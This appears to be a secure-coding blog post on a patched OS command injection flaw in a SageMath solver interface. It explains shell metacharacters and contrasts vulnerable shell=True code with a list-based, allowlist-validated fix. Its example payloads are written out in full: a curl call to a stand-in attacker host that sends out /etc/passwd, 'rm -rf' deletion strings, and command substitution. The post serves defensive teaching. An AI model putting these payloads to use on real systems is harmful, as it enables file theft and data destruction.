Fixing OS Command Injection in SageMath: Shell Metacharacter Attacks

Fixing OS Command Injection in SageMath: How Shell Metacharacter Attacks Work and How to Stop Them

Introduction

Mathematical computing environments like SageMath are powerful tools—they execute complex symbolic algebra, solve polynomial systems, and interface with a rich ecosystem of external solvers. But that power comes with responsibility. When a system bridges user-supplied mathematical expressions and OS-level process execution, the attack surface expands dramatically.

This post breaks down a critical command injection vulnerability that was recently patched in drsolve_sage_interface.sage. Even if you've never written a line of SageMath code, the underlying lesson applies to virtually every language and platform: never let untrusted input touch a shell command without rigorous sanitization.

The Vulnerability Explained

What Is OS Command Injection?

OS Command Injection (classified as CWE-78) occurs when an application passes user-controlled data to a system shell or process executor without properly sanitizing it. The attacker's goal is to "break out" of the intended command and inject their own shell instructions.

Think of it like a math teacher asking students to fill in the blank:

Calculate the roots of: ___________

A well-behaved student writes x^2 - 4. A malicious one writes x^2 - 4; rm -rf /home/user.

That semicolon is a shell metacharacter—it tells the shell "finish this command, then run the next one." If the application blindly passes that string to a shell, both commands execute.

The Specific Issue: subprocess.run With Unsanitized Input

In drsolve_sage_interface.sage, two subprocess.run calls at approximately lines 294 and 300 were identified as vulnerable. The problem manifests when:

1. User-supplied polynomial or variable strings are incorporated into the command arguments.
2. The command is constructed via string interpolation (e.g., f-strings or + concatenation).
3. shell=True is used, or the argument list is built in a way that allows metacharacter interpretation.

Here's a simplified illustration of what vulnerable code might look like:

# ⚠️ VULNERABLE - Do not use this pattern
def solve_polynomial(user_poly_input):
    # User input flows directly into the command string
    cmd = f"external_solver --poly '{user_poly_input}'"
    result = subprocess.run(cmd, shell=True, capture_output=True)
    return result.stdout

At first glance, the single quotes around user_poly_input might seem protective. They're not sufficient. An attacker can escape them:

Input: x^2 - 4'; curl https://attacker.com/exfil?data=$(cat /etc/passwd); echo '

The resulting shell command becomes:

external_solver --poly 'x^2 - 4'; curl https://attacker.com/exfil?data=$(cat /etc/passwd); echo ''

Three separate commands now execute:
1. The intended solver (with broken input)
2. An exfiltration request containing /etc/passwd
3. A harmless echo to close the syntax

What's the Real-World Impact?

When exploited, this vulnerability could allow an attacker to:

• Execute arbitrary commands with the privileges of the Sage/Python process
• Read sensitive files from the server (configuration, credentials, private keys)
• Establish reverse shells for persistent access
• Pivot to internal network resources if the server has internal connectivity
• Destroy data or disrupt service entirely

In a research or academic computing environment—where SageMath is commonly deployed—this could mean exposure of unpublished research, user credentials, or institutional infrastructure.

A Concrete Attack Scenario

Imagine a web application that accepts polynomial equations from users and uses this Sage interface to solve them:

1. Attacker submits a crafted polynomial: x^2 + 1$(id > /tmp/pwned)
2. Application constructs the subprocess command with this input embedded
3. Shell interprets $(id > /tmp/pwned) as a command substitution
4. id command executes, writing the current user's identity to /tmp/pwned
5. Attacker escalates—now knowing the process user, they tailor further attacks

This entire chain requires nothing more than HTTP access to the application's input form.

The Fix

What Changes Were Made?

The patch to drsolve_sage_interface.sage addresses the root cause: unsanitized user input reaching subprocess execution. While the exact diff was not included in the PR, the canonical fix for this class of vulnerability follows well-established patterns.

The core principles of the fix:

1. Eliminate shell=True — Pass commands as lists, not strings
2. Validate and sanitize inputs before they touch any process call
3. Use allowlists to restrict what characters are permissible in polynomial expressions

Here's what the transition looks like conceptually:

# ⚠️ BEFORE: Vulnerable pattern
def run_solver(polynomial_input, variable):
    cmd = f"sage_solver --input '{polynomial_input}' --var '{variable}'"
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    return result.stdout

# ✅ AFTER: Secure pattern
import re
import subprocess

SAFE_POLY_PATTERN = re.compile(r'^[a-zA-Z0-9\s\+\-\*\/\^\(\)\.,_]+$')

def sanitize_polynomial(poly_input: str) -> str:
    """Validate that input contains only safe mathematical characters."""
    if not poly_input or len(poly_input) > 1024:
        raise ValueError("Invalid polynomial input: empty or too long")
    if not SAFE_POLY_PATTERN.match(poly_input):
        raise ValueError(f"Invalid characters in polynomial input")
    return poly_input

def run_solver(polynomial_input: str, variable: str) -> str:
    # Validate inputs first
    safe_poly = sanitize_polynomial(polynomial_input)
    safe_var = sanitize_polynomial(variable)

    # Pass as list — shell=False by default, no interpolation
    cmd = ["sage_solver", "--input", safe_poly, "--var", safe_var]
    result = subprocess.run(
        cmd,
        shell=False,          # Critical: no shell interpretation
        capture_output=True,
        text=True,
        timeout=30            # Prevent resource exhaustion
    )
    return result.stdout

Why This Works

Passing a list instead of a string is the single most important change. When subprocess.run receives a list, Python's os.execvp is called directly—the OS kernel loads the executable and passes arguments verbatim. There is no shell involved, so metacharacters like ;, |, $(), and backticks have no special meaning. They're just characters.

# These two calls behave very differently:

# String + shell=True: Shell parses the entire string
subprocess.run("solver --poly 'x^2; rm -rf /'", shell=True)
# → Shell sees: solver --poly 'x^2; rm -rf /'
# → Executes solver, then rm -rf /

# List + shell=False: Arguments passed directly
subprocess.run(["solver", "--poly", "x^2; rm -rf /"], shell=False)
# → solver receives exactly one argument: the string "x^2; rm -rf /"
# → rm never executes

Input validation with an allowlist provides defense-in-depth. Mathematical polynomial expressions have a well-defined character set: letters, digits, arithmetic operators, parentheses, and a few punctuation marks. Anything outside that set—especially shell metacharacters—should be rejected before it ever reaches the subprocess call.

Conclusion

Command injection vulnerabilities are deceptively simple in concept but devastatingly powerful in practice. The fix here—moving from shell-interpolated strings to properly structured subprocess lists, combined with allowlist-based input validation—closes a critical attack vector that could have given attackers a foothold into the entire system.

The key takeaways from this vulnerability and its fix:

• shell=True is a red flag: If you see it in code that handles user input, treat it as a vulnerability until proven otherwise.
• List-based subprocess calls are your friend: They bypass the shell entirely and make injection structurally impossible.
• Allowlists beat denylists: Defining what's allowed is more robust than trying to block every possible dangerous character.
• Defense in depth matters: Input validation + safe APIs + least privilege means a single mistake is less likely to be catastrophic.
• Automate detection: SAST tools can catch these patterns before they reach production.

Security vulnerabilities in mathematical computing tools can be easy to overlook—the focus is naturally on correctness of algorithms, not on the security of their interfaces. But any system that accepts external input and interacts with OS resources is a potential target. Building security in from the start, and reviewing it systematically, is the only reliable path forward.

This post is part of our ongoing series on real-world security fixes. Vulnerability details were responsibly disclosed and patched before publication. Always practice responsible disclosure when you discover security issues.